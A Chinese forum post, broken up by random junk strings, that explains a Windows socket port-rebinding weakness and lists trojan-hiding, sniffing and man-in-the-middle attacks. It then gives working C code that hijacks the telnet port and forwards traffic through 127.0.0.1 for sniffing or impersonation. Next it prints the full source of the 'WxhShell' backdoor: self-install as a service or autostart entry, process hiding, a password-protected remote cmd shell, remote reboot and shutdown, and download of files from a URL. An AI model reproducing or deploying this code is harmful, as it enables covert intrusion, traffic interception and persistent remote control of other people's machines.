-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p[/n[@<8= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bu hxC5i% HFDg@@ saddr.sin_family = AF_INET; ]3I_H+hU N9*$' saddr.sin_addr.s_addr = htonl(INADDR_ANY); tP:xx2N_ DX!$k[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6g.@I!j E ?.Kl/8ml 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >eEf|tKO FCP5EN 这意味着什么?意味着可以进行如下的攻击:
A{c6XQR~z |j!D _j#U 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4B> l|% /z'j:~`E 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d@l;dos), _rR.Y3N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bZlAK) !PQRlgcG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 hT
Xc0 ~j4=PT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LSfj7j` (*;u{m= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jG^~{7# zeua`jQ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y7w>/7q ^{Vm,nAQqs #include cbteNA!> #include o j^U #include /J6CSk #include -5qO}^i$a DWORD WINAPI ClientThread(LPVOID lpParam); 1";~"p2( int main() 6S8l {
o _CVZ WORD wVersionRequested; y~d W=zO DWORD ret; r'!l`
gm,S WSADATA wsaData; *CG2sAeB BOOL val; Hv=coS>g: SOCKADDR_IN saddr; \.{JS>! SOCKADDR_IN scaddr;
Kr#=u~~M int err; 6%'{Cq1DE SOCKET s; mrbIoN==` SOCKET sc; ydFY<Mb(o int caddsize; >:xnjEsi$/ HANDLE mt; >2|#b DWORD tid; [L\w]6 wVersionRequested = MAKEWORD( 2, 2 ); "s*{0'jo err = WSAStartup( wVersionRequested, &wsaData ); !kIw835U if ( err != 0 ) { 4v!@9.!vQ printf("error!WSAStartup failed!\n"); 6JL
7ut return -1; |-R::gm } f>'7~69 saddr.sin_family = AF_INET; =?2y
<B c]LH. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eJwr L"Gi~:z saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *[U:'o`67 saddr.sin_port = htons(23); q+DH2&E' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fg9sZ%67]\ { _I!Xr!!)a0 printf("error!socket failed!\n"); 2Fh_ return -1; &p%,+| } z=xHk|+' val = TRUE; h}oQr0"c //SO_REUSEADDR选项就是可以实现端口重绑定的 #[si.rv-> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H z6H,h { q[#\qT&QU printf("error!setsockopt failed!\n"); u1"e+4f return -1; 9@j~1G%^ } <V,?!}V //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l&rDa=m.J //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [0}471 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5>=tNbk"s eS"gHldz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Brl6r8LGi { SN+Bmdup ret=GetLastError(); V?"^Ff3m! printf("error!bind failed!\n"); =UV?Pi*M> return -1; Y[H_?f=;% } .xx#>Y-\ listen(s,2); Cam}:'a/` while(1) ke%zp-2c { 4/jY;YN,2 caddsize = sizeof(scaddr); J!H5{7.efN //接受连接请求 \w:u&6,0O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z 0:2x(x9 if(sc!=INVALID_SOCKET) JTI m`t"d= { .
9
NS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q!,do2T if(mt==NULL) D;L :a`Y { TM}F9!*je printf("Thread Creat Failed!\n"); D6vn3*,& break; 7^; OjO@8 } d#*5U9\z } Z^|C~lp;n CloseHandle(mt); bXfOZFzq) } `8-aHPF- closesocket(s); 6?lg
6a/eO WSACleanup(); rNAu@B return 0; J'EK5=H } M;9+L&p= DWORD WINAPI ClientThread(LPVOID lpParam) =6dKC_Q { 0
mQ3P.9 SOCKET ss = (SOCKET)lpParam; HB}gn2.1& SOCKET sc; $7r
wara unsigned char buf[4096]; KCFwO' SOCKADDR_IN saddr; c>R(Fs|6 long num; (w-u"1& DWORD val; @r43F$bcqo DWORD ret; ~Qsj)9 //如果是隐藏端口应用的话,可以在此处加一些判断 $O>@(K //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Jv<)/Km` saddr.sin_family = AF_INET; Rf^cw}jU saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nsp K.*? saddr.sin_port = htons(23); 8.^U6xA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zJ:r0Bt { &>jkfG printf("error!socket failed!\n"); C{Ug ?hVP return -1; >(rB[ZJ } ^;3rdBprm val = 100; _HK&KY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8?YW i { `|w#K28t" ret = GetLastError(); D5>~'N3b return -1; (0Qq rNs } !VHIl&Mos if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t/ 1NTa { WK}+f4tdW[ ret = GetLastError(); =QfKDA return -1; aX%Zuyny } 9/M!S[N9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?>8zU;Aj { #[W[|m printf("error!socket connect failed!\n"); I`TD*D closesocket(sc); !S!03| closesocket(ss); EAB+kY return -1; K)+l 6Q } LPn}QzH while(1) #<PdZl R { 5Nb_K`Vp* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ehusI-q //如果是嗅探内容的话,可以再此处进行内容分析和记录 |w2AB7EU //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }#x3IE6' num = recv(ss,buf,4096,0); g)A0PvEu if(num>0) fB96Q send(sc,buf,num,0); mv.I.EL else if(num==0) RG3G},Q break; Q$0%~`t num = recv(sc,buf,4096,0); bW^QH-t if(num>0) 3x0wk9lND send(ss,buf,num,0); KL mB else if(num==0) -C}59G8 break; grdyiBSVn } _ICDtG^ closesocket(ss); b=UMoWS closesocket(sc); 4.B*B3 return 0 ; vx@p;1RU` } l&Ghs@>Kl dO;vcgvb t)Q@sKT6 ========================================================== ('-}"3 ?1:/
6 下边附上一个代码,,WXhSHELL SQU%N =k=2~
j ========================================================== YiuOu(X Wky S Tc #include "stdafx.h" >Ro n+
oe r)]CZ]) #include <stdio.h> u2BW]T] #include <string.h> ,M&0<k\ #include <windows.h> Ti|++oC/& #include <winsock2.h> >Mz|e(6 #include <winsvc.h> J<#`IaV #include <urlmon.h> r_,m\'~s! F6c[v|3 #pragma comment (lib, "Ws2_32.lib") YIQ]]q8R!L #pragma comment (lib, "urlmon.lib")
z~e~K`S /_OZ1jX #define MAX_USER 100 // 最大客户端连接数 nvK7*- #define BUF_SOCK 200 // sock buffer <`_OpNxqW #define KEY_BUFF 255 // 输入 buffer niEEm`" 7 eQoc2X2 #define REBOOT 0 // 重启 j4xr1y3^ #define SHUTDOWN 1 // 关机 'xZPIj+ K}<!{/fi) #define DEF_PORT 5000 // 监听端口 %)Uvf`Xhh4 Z) i1?# #define REG_LEN 16 // 注册表键长度 ([CnYv #define SVC_LEN 80 // NT服务名长度 [F)/mN 62l0
Z- // 从dll定义API |id79qY7g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E:4P1,%01+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s!/holu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FgQ_a/* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fk7Cf"[w !8@rK$DB // wxhshell配置信息 QiE<[QP{g struct WSCFG { px}7If int ws_port; // 监听端口 U?F^D4CV\ char ws_passstr[REG_LEN]; // 口令 hY=
s9\ int ws_autoins; // 安装标记, 1=yes 0=no c`i=(D< char ws_regname[REG_LEN]; // 注册表键名 oUvk2]H char ws_svcname[REG_LEN]; // 服务名 <%>n@A char ws_svcdisp[SVC_LEN]; // 服务显示名 -iDEh_pts char ws_svcdesc[SVC_LEN]; // 服务描述信息 b({Nf,(a2
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RD$tc~@UB int ws_downexe; // 下载执行标记, 1=yes 0=no mOgOHb2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" q$?7
~*M;x char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uz#PBV8Q ]]=-AuV. }; U 'CfP9= blfE9Oy // default Wxhshell configuration {pe7]P? struct WSCFG wscfg={DEF_PORT, HCx%_9xlm "xuhuanlingzhe", B>|U-[A 1, 8gbm "! "Wxhshell", #A/]Vs$ "Wxhshell", t&9as} "WxhShell Service", RCh$j&Tn "Wrsky Windows CmdShell Service", %g0z)J "Please Input Your Password: ", #x5 N{8 1, mfngbFa1 " http://www.wrsky.com/wxhshell.exe", |J<pLz "Wxhshell.exe" ~1=.?Ho }; [+'BQ wyrI8UY // 消息定义模块 -Y8ks7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rO(TG char *msg_ws_prompt="\n\r? for help\n\r#>"; T018)WrhL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; c
BHL, char *msg_ws_ext="\n\rExit."; \)otu\3/ char *msg_ws_end="\n\rQuit."; uRm _ char *msg_ws_boot="\n\rReboot..."; K=c=/`E char *msg_ws_poff="\n\rShutdown..."; c8-69hb? char *msg_ws_down="\n\rSave to "; sWsG,v_ -eR!qy:.]5 char *msg_ws_err="\n\rErr!"; DrCWvpudd char *msg_ws_ok="\n\rOK!"; 5X `w&(]m +f
X}O9 char ExeFile[MAX_PATH]; jom}_ int nUser = 0; GSGyF HANDLE handles[MAX_USER]; hC|5e|S int OsIsNt; [%7;f|p? /lr1hW~Dbk SERVICE_STATUS serviceStatus; K_AtU/ SERVICE_STATUS_HANDLE hServiceStatusHandle; c?.r"5# X;OsH // 函数声明 KUp int Install(void); T/GgF&i3 int Uninstall(void); \)^,PA3 int DownloadFile(char *sURL, SOCKET wsh); =!?[]>Dh int Boot(int flag); =mKfFeO. void HideProc(void); Q{AZ'XV int GetOsVer(void); j<ABO")v int Wxhshell(SOCKET wsl); %tzN@ void TalkWithClient(void *cs); s;B
j7] int CmdShell(SOCKET sock); >'} Y1_S5 int StartFromService(void); [y|^P\D int StartWxhshell(LPSTR lpCmdLine);
)IFl
0<d
;wJ7oj< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); smfG,TI VOID WINAPI NTServiceHandler( DWORD fdwControl ); #~H%[s a Uz6{>OCvk| // 数据结构和表定义 c~gNH%1XN SERVICE_TABLE_ENTRY DispatchTable[] = xb =8t! { 5JBB+g {wscfg.ws_svcname, NTServiceMain}, >JKnGeF {NULL, NULL} ]aC':55( }; %[]"QbF? L$Hx?^3 // 自我安装 z(g%ue\ int Install(void) a=J@yK { iK5]y+@8 char svExeFile[MAX_PATH]; UF&0&`@ HKEY key; Vs_\ykO strcpy(svExeFile,ExeFile); r6d0x k4qLB1&, // 如果是win9x系统,修改注册表设为自启动 H GO#e if(!OsIsNt) { !,cQ'*<W8- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /d0Q>v.g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f >mhFy RegCloseKey(key); ,f8}q]FTA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Qa@` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )XLj[6j0 RegCloseKey(key); >Z#uFt0<Pm return 0; N]1V1c$G* } %`xV'2H } K&=1Ap } RLdlz else { )KSisEL :/o C:z\h // 如果是NT以上系统,安装为系统服务 Km6Ub?/7o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K0tV'Ml#" if (schSCManager!=0) i\t753<Ys { ![*:.CW SC_HANDLE schService = CreateService 8weSrm ( ]3n , AHA schSCManager, c3=-Mq9Q wscfg.ws_svcname, ,>D ja59 wscfg.ws_svcdisp, _1I K$gb[ SERVICE_ALL_ACCESS, @%6)^]m}r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cC^W2\ SERVICE_AUTO_START, r_b8,I6{] SERVICE_ERROR_NORMAL, v6wRME;JA svExeFile, _*O7l NULL, 3p:=xL NULL, Z5((1J9 NULL, ?qju
DD NULL, d{er|$E? NULL u?Fnlne4@ ); Oo FgQEr@ if (schService!=0) fuq(
2&^ { "6?lQw
e CloseServiceHandle(schService); >%-Hj6% CloseServiceHandle(schSCManager); !Tv?%? 2l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TQ;
Z.)L strcat(svExeFile,wscfg.ws_svcname); /_]ltX D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *8z"^7?^= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [/
AIKZM< RegCloseKey(key); I[}75:^Rt return 0;
+"jl(5Q } ;avQ1T'{?g } s(Z(e % CloseServiceHandle(schSCManager); hT?6sWa } a
"R7JjH } %1Yz'AiW[ j7K5SS_] return 1; k/% #> } ToV6lS" BbFa=H. // 自我卸载 `,+#! ) int Uninstall(void) Z;#%t. { ~|h lE z HKEY key; ful#Px6m lK0s=4c{ if(!OsIsNt) { d:A}CBTSY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WrNLGkt RegDeleteValue(key,wscfg.ws_regname); J0=7'@(p RegCloseKey(key); !{;[xXK4M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! 0^;;' RegDeleteValue(key,wscfg.ws_regname); fV 3r|Bp RegCloseKey(key); 3filAGR? return 0; z<hFK+j,'^ } Re>AsnA[ } LIF|bE9kd } u^Vh.g] else { jAXR`D cv2]* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2gt+l?O<PS if (schSCManager!=0) ^EF'TO$ { yf!,4SUkU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zJ;Rt9<7- if (schService!=0) nTPB,QE< { FKC\VF if(DeleteService(schService)!=0) { GD!-
qH CloseServiceHandle(schService); e9&+vsRmA CloseServiceHandle(schSCManager); _g[-=y{Bb return 0; '_V
#;DI } +IrZ
;&oy CloseServiceHandle(schService); o]<jZ_|gB } vYdR ht\( CloseServiceHandle(schSCManager); PY?8[A+ } 3)3Hck
} KF+mZB @D)Z{=>{=5 return 1; L7]]ZAH!1 } pE2QnNr' D?^Y`G$. // 从指定url下载文件 4jQ'+ 2it int DownloadFile(char *sURL, SOCKET wsh) b^x07lO { Y&K <{\vE HRESULT hr; @xS]!1- char seps[]= "/"; [F+,YV%t char *token; :$?Q D char *file; wd/G|kNO char myURL[MAX_PATH]; 3Hw[s0[$ char myFILE[MAX_PATH]; ;FU|7L$H qNxB{0(D strcpy(myURL,sURL); :=*}htP4C token=strtok(myURL,seps); A?8\Y{FQ while(token!=NULL) *t(4 $ { wO7t!35 file=token; 4 /'N|c. token=strtok(NULL,seps); XV>@B $hu } :Xfn@>;3ui }$&xTW_ GetCurrentDirectory(MAX_PATH,myFILE); 6V1:qp/6 strcat(myFILE, "\\"); $e
}n strcat(myFILE, file); l'6d4
DZ send(wsh,myFILE,strlen(myFILE),0); !77NG4B send(wsh,"...",3,0); )MSZ2)( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @E%DP9.I if(hr==S_OK) H=p`T+ return 0; -R0/o7 else zT[6eZ8m return 1; w^HjZV Qqc]aVRF } e4\dpvL ^2S# Uk // 系统电源模块 RNWX.g)b int Boot(int flag) b*EXIzQ { r8[T&z@_ HANDLE hToken; wfR&li{ TOKEN_PRIVILEGES tkp; )K;]y-Us[ E7nFb:zlV if(OsIsNt) { _w!a`w*3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;hHi@Z9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2 0tO#{Li tkp.PrivilegeCount = 1; mrM4RoO tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qhn;`9+L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fvqd'2 t if(flag==REBOOT) { T2=HG Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s_[VHPN return 0; DMn4ll| } $4m*kQ else { $SY]fNJQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TTZe$>f return 0; QR0(,e$Dl } h/)_)
r.x } asVX82< else { hH>``gK if(flag==REBOOT) { o6a0'vU>< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W\cjdd return 0; wRvb8F0 } 3@<zg1.9- else { Da.G4,vLh if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ak@Dyi?p return 0; 86
.`T l; } r.yK, } Z>P*@S,6G $_Nf-:D* return 1; 4_^[=p/R } nh.32q] /M=3X|| // win9x进程隐藏模块 [f/I2 void HideProc(void) F<|t\KOW { B^v8,;jZT 8sOQ9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~h$wH{-U# if ( hKernel != NULL ) Bc5+ss { vXE0%QE'Q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &,:h) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `A@w7J' FreeLibrary(hKernel); 9902+pW } 5's~>up& l'[A?%L%{ return; pG3k } Cu;5RSr2Z v,@F|c?_S // 获取操作系统版本 ?-)I+EAnE int GetOsVer(void) Na{Y}0=^y { jgv`>o%<W OSVERSIONINFO winfo; >ut" OL9J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }baR5v GetVersionEx(&winfo); UL$}{2N,_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j<<3Pr return 1; `G9 l else 5GzFoy)j> return 0; 3FE( }G } LeOP;#
U8$4
R,+ // 客户端句柄模块 !69&Ld int Wxhshell(SOCKET wsl) b97w^ah4gJ { ULJ mSe SOCKET wsh; o 5U(i struct sockaddr_in client; X}ma] DWORD myID; WJH\~<{mP !]yO^Ob.E while(nUser<MAX_USER) KngTc(^_D { 942lSyix int nSize=sizeof(client); =q7Z qP wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j=RRfFg) if(wsh==INVALID_SOCKET) return 1; o\b- _E5"? 2_^aw[- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
]:M0Kj&h if(handles[nUser]==0) :rMM4 closesocket(wsh); MRNNG6TUs else ED>prE0 nUser++; tJViA`@x } i:]*P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /AY4M;}p F,BOgWwP return 0; 'xY@ x-o } "\C$ Yb3mP!3q8Z // 关闭 socket GzXUU@p void CloseIt(SOCKET wsh) ^!<dgBNj { H,3\0BKk closesocket(wsh); OJ|r6 nUser--; :}8Z@H!KkY ExitThread(0); ,l YE } W!Hm~9fz ^&@w$ // 客户端请求句柄 >@xrs void TalkWithClient(void *cs) &Mq~T_S { \>LnLH( Q/uwQo/ SOCKET wsh=(SOCKET)cs; g- AHdYJ char pwd[SVC_LEN]; t7n(Qkrv char cmd[KEY_BUFF]; Q1d'~e char chr[1]; '. Ed`?<p int i,j; NX`*%K Un`^jw#_ while (nUser < MAX_USER) { J%09^5:-z X+L) -d if(wscfg.ws_passstr) { ,YTIC8qKr if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U$]|~41# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9{k97D/ //ZeroMemory(pwd,KEY_BUFF); ^k5ll=} i=0; )'17r82a while(i<SVC_LEN) { C2LL|jp* 3.22"U\1: // 设置超时 61puqiGG^ fd_set FdRead; @SZM82qU2z struct timeval TimeOut; {^(ACS9mL FD_ZERO(&FdRead); ?0?
R FD_SET(wsh,&FdRead); .+7;)K
TimeOut.tv_sec=8; 7S/G
B TimeOut.tv_usec=0; HEA#bd\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,@1p$n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A+6 n# (?_S6HE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qmO6,T-| pwd =chr[0]; @1*ohdHH if(chr[0]==0xd || chr[0]==0xa) { +fvaUV_- pwd=0; FZ!`B]]le, break; ~|<WHHN( } \fA{1 i++; bM8If" } mPI8_5V8] =mA: ctu~v // 如果是非法用户,关闭 socket }ci#> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3 "o"fl } s!n<}C (WJ${OW send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?A(QyaKz send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nKW*Y}VO x77l~=P+! while(1) { fP.F`V_Y XGP6L 0j ZeroMemory(cmd,KEY_BUFF); ^Ge+~o?x j'9"cE5_ // 自动支持客户端 telnet标准 i4^o59}8 j=0; #fT*]NN while(j<KEY_BUFF) { m[j70jYe if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LPMU8Er cmd[j]=chr[0]; J[f;Xlh if(chr[0]==0xa || chr[0]==0xd) { aW>6NDq( cmd[j]=0; PaV-F_2 break; $<:E'^SAS } `PY>Hgb j++; %f($*l. } jqPkc28 =bEda] // 下载文件 I\YV des# if(strstr(cmd,"http://")) { PO6&bIr send(wsh,msg_ws_down,strlen(msg_ws_down),0); m0v:\?S: if(DownloadFile(cmd,wsh)) &f&z_WU send(wsh,msg_ws_err,strlen(msg_ws_err),0); } CeCc0M else LX^u_Iu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u_ABt?' } H54R8O$ else { &|/| ''A) 0GJn_@hr switch(cmd[0]) { 3B1cb[2y ^^5&QSB:' // 帮助 FQ=@mjh case '?': { ]('D^Ro send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mbjvh2z break; ) $PDo
7# } FJ asS8 // 安装 *Z|y'<s case 'i': { y@\V+ if(Install()) Yo[;W
vu send(wsh,msg_ws_err,strlen(msg_ws_err),0); qWmQ-|Py else YW{C} NA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dd]/.Z break; (\SA*.) } _q~=~nub // 卸载 ANgw"&&>( case 'r': { 9W(dmde> if(Uninstall()) lbpq_= send(wsh,msg_ws_err,strlen(msg_ws_err),0); V0)fZS@tf else
8']9$# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s8}@=]aA break; #5V9oKM } uDEvzk42 // 显示 wxhshell 所在路径 hZ.Z3`v70 case 'p': { L:FoSCN Y( char svExeFile[MAX_PATH]; 'nF2aD%A strcpy(svExeFile,"\n\r"); vd8{c7g:n strcat(svExeFile,ExeFile); T<XA8h* send(wsh,svExeFile,strlen(svExeFile),0); ih7/} break; \EVBwE, } U\Z?taXB // 重启 qHxqQ'ks; case 'b': { y\a1iy send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); je!-J8{ if(Boot(REBOOT)) daYx76yP_? send(wsh,msg_ws_err,strlen(msg_ws_err),0); @HOBRRm` else { ~JaAii{ closesocket(wsh); I
:vs;- ExitThread(0); ra
o[VZ } V3"=w&2]K break; 5=f|7yl } KN* // 关机 eM+!Y>8Y case 'd': { hNzB4p send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |o\8 if(Boot(SHUTDOWN)) y~FV2$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}A[x1x06) else { gSh+}r<7 closesocket(wsh); M8tRjNWS? ExitThread(0); ;cQ6g`
bM\ } }2e??3 break; ho$+L } bua+I;b // 获取shell gM
_hi case 's': { ]wtb-PC CmdShell(wsh); QDu 2?EYZq closesocket(wsh); o#skR4lwe ExitThread(0); U-|NY break; uXKERzg } Ry'= ke // 退出 _A=$oVe case 'x': { ~m$Y$,uH send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )gMG#>up@ CloseIt(wsh); ={z*akn, break; RRI"d~~F6 } -:na:Vsi // 离开 PbmDNKEh{ case 'q': { S;)w. send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6Aku1h closesocket(wsh); -q*i_r:, WSACleanup(); } q$ WvY/ exit(1); =F@Wgn, break; GSRVe/[ } !7kG!)40 } lR(+tj)9uO } D ^x-^6^ /bi}'H+# // 提示信息 sIxTG y. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;LMJd@ } pim!.=vN/U } #H:7@ ROous4 MG return; )/wk( O+ } K2<9mDn& wbst8*$ // shell模块句柄 h]TQn)X] int CmdShell(SOCKET sock) [DF,^4g { 7D;cw\ | STARTUPINFO si; hUF5fZqii ZeroMemory(&si,sizeof(si)); ~FN9 [aJF+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zaK#Z?V} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {$wjO7Glp PROCESS_INFORMATION ProcessInfo; urjjw.wZ char cmdline[]="cmd"; 0`[wpZ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m5r7 return 0; lQe%Yh
